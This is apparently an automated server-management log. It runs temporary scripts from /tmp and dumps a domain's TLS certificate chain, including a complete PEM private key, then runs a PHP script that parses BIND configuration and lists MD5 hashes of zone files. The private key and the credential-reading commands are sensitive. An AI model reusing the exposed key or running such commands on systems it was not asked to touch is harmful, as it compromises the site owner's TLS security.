with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-09 11:22:07: 

chmod 755 /tmp/pkp265766; /tmp/pkp265766; rm /tmp/pkp265766

2026-06-09 11:22:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt	7453
99:f8:73:e3:ed:ff:7a:77:b6:82:46:f5:20:eb:35:60

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBiTqjepwGKKbXpmu9UDhtJJlMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjA5MTAyMzM1WhcNMjYwOTA3MTAyMzM0WjAcMRowGAYDVQQD
ExFvc25vd3liaWJsaWkuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAK0WEXxJSjpK9m/TmisMZh79UMPUlArF4uGwJS7SaNamgGc89xy3MdiY5elB
8IVkGiqegKJWBh+i4erKhnCMg5K+VkifbvhY3cvVQG42aZOdYgj5dTih5zSjc13t
UX3JofWZnAxIsnNDPiNDdF9LxbKR4OC2bo4EnT7YsxpoVQd/xhA1K5o2+oBNrx86
LGA0h5fw6TQO3znbw462Lj01C+ZdEilrp/rR365q4FFT9gFmqK4W3cZqfb1knWaw
2MnvSBgG+JcUclydY0NKwvOILNS+fv+5ufztfxWPxkn1woHUVf5ssOxHXkYzssAG
CXzyq/UEcZaUf4HAmlQbElyUxfECAwEAAaOCAjcwggIzMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQn
RrzbyMK1zA76fiWQyvlIyrohnTAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIf
gQyBDDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEW9zbm93eWJpYmxpaS5pbmZvghV3d3cub3Nu
b3d5YmlibGlpLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAk
oCKgIIYeaHR0cDovL3lyMi5jLmxlbmNyLm9yZy8xMDIuY3JsMIIBDAYKKwYBBAHW
eQIEAgSB/QSB+gD4AHYA1219ENGn9XfCx+lf1wC/+YLJM1pl4dCzAXMXwMjFaXcA
AAGerB5ETQAABAMARzBFAiEA8cngT94BGuns46QOw1CmivtH83w52NAVbOZqcAt+
DAICIAXJD94NVQIN/pinLFoCKMPrQ25YObQoWOo4OKzwaywuAH4ARq+GPTs+5Z+l
d96oJF02sNntIqIj9GF3QSKUUu6VUF8AAAGerB5E8wAIAAAFAAkUYN8EAwBHMEUC
IFaIOCnZ9pN2HJ0Ang9Y9r3nqszhsa/jFt0Tu2iSJawfAiEA/dW/KTiGLjqq789X
8oGuToEY1563SPkdheIQ6KFylZ8wDQYJKoZIhvcNAQELBQADggEBAF6rkDn2dt0B
5o0GI16Y0IU0GyVWz5Tkg6K8NcytmpzTpQwl5aTf8i3BjwbW0gLCZEfuHGbWHK5U
2M61Z/X05xMmCgvzG8VLGFHxDEsaxubiE3NlXPi0zX/LT0pdROp6kxUemWdA2WmC
qm/MAEgSo5rBAFq/Tlxjtq4VS1/sFG9rCL8oEvXpL+SqnQfIW9H4lBHyp3slUoPo
BdnIFRdqkgzSh9DdzsnShdB76UzrPMHbAVoUnCzbyOLCXCkekl7NUMpyIA5zXI+V
Jfx7VR1H2ZJ5ZXRB5tmMaRaxt/ZbSUepJI4A/IIa5UIEvSxNLHFCEWWg0N941MHT
IVZOkz9gk3w=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCtFhF8SUo6SvZv
05orDGYe/VDD1JQKxeLhsCUu0mjWpoBnPPcctzHYmOXpQfCFZBoqnoCiVgYfouHq
yoZwjIOSvlZIn274WN3L1UBuNmmTnWII+XU4oec0o3Nd7VF9yaH1mZwMSLJzQz4j
Q3RfS8WykeDgtm6OBJ0+2LMaaFUHf8YQNSuaNvqATa8fOixgNIeX8Ok0Dt8528OO
ti49NQvmXRIpa6f60d+uauBRU/YBZqiuFt3Gan29ZJ1msNjJ70gYBviXFHJcnWND
SsLziCzUvn7/ubn87X8Vj8ZJ9cKB1FX+bLDsR15GM7LABgl88qv1BHGWlH+BwJpU
GxJclMXxAgMBAAECggEAGG6sCzJBQxc/0Cs7cOYwKCGz2+DPAPJMA3Wc2g4jdGFO
cMQ/UZNeeueiVJnVPM8Tjn6PQ9sGxEJ2x3DNJ2f+TqGFhnzS6kWJEXPJw4T0xDyM
ER49eMAJ5flImLKeNTZYIVYMnANLBVAxnkKwU59bichjyPSXiH6IP83RAmJF1mfs
fOcn0jLKA9ofjnueIeaIjJLZZmkmIBpHJYCIlSEXdFnHXHtUtRJrvZqsJPj9b6MK
VaTxE+aPRAz4a2VClW0fYybTYVDgHk/moIm1o6vPt2isqV0Eea2K+CmLZmvisOoG
p88v/7WLAYBh9yV1J3zxCA7ZhBq6ypQtxTWrFHTG3QKBgQDSpy9JuZfkaFOyb6I/
fh9XSUDdUZ6vf49lPViVn+VqPQSmOnuDjy5+6BMzr7cObxtRP6+Y3dPmxkTVq8bj
rHgbteI6cJVRj7pKJU4z5ZQKSXALpOvV7INTX54cXPVIQfO7by2m8vXHz/eYdcGS
tytE9TZohn6KM4t9MgrZCPI2KwKBgQDSWJ95Lo75krN3O0CvGnYWA+7H9/PPgLpc
RrFb6PMT7/y//unpImmockLtQcBCSvf26uw+fitMULGvbGM/V4frpj13qgSNxSp3
t8gyepWJ+oMcGggJIFN2E0wjTJNOQWg9TqKHDqrBy8m39FUA/8c40EQ1pRGWvUlV
Nv/cglKiUwKBgGTIfhRcyjIKQ/j79flAo0gEkRcSJMS8V+PM/OPhM0an2OCa3Fsu
FsW6zO0OpZsvRzeRK7cMcoRX2bkMzURCUNiZJZpmINp71FoDDS5BKZneVtALYJXh
6VbrSV8yjlu6yhyj7YiRd0vY0RHNTQafwgDk/Nn3dvUyAgus9ImwAQovAoGBAJkT
D3Lz0+6BuQLi5u7G9fqNgB6cLhzq1DRE6ds2CneO5UOfsgAMIBIKnPPmLpDP1+Yk
DipoTQArlTNRUGSPQYXXI9JKsyesvXwEDbfWh66y1OkFdKWXlcVOw9DIcEa5yK8c
46Afp1qDAFhTgezJNuT8gzb62nL1a0GNVePWH2arAoGAVkKyDYKnzPdERjoM5qI/
CkBhEE1ZWcmzcT5oL4tN1ndp0FYGDrkSWMcuqvCZ8FE2kIjqsF8XjILNQHibKYKO
YRGC5JZGCCP9dM+uuOvAjbNpcN5hOXZ+i8WxqtMxXal8ED3pms2DRWuEFhPMCmGn
5nnrIbabVE3phEfckiBZA1w=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-06-09 11:22:13: Establishing a connection
2026-06-09 11:22:13: 

PUT: /tmp/pkp728872

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-09 11:22:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp728872; rm /tmp/pkp728872'

2026-06-09 11:22:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
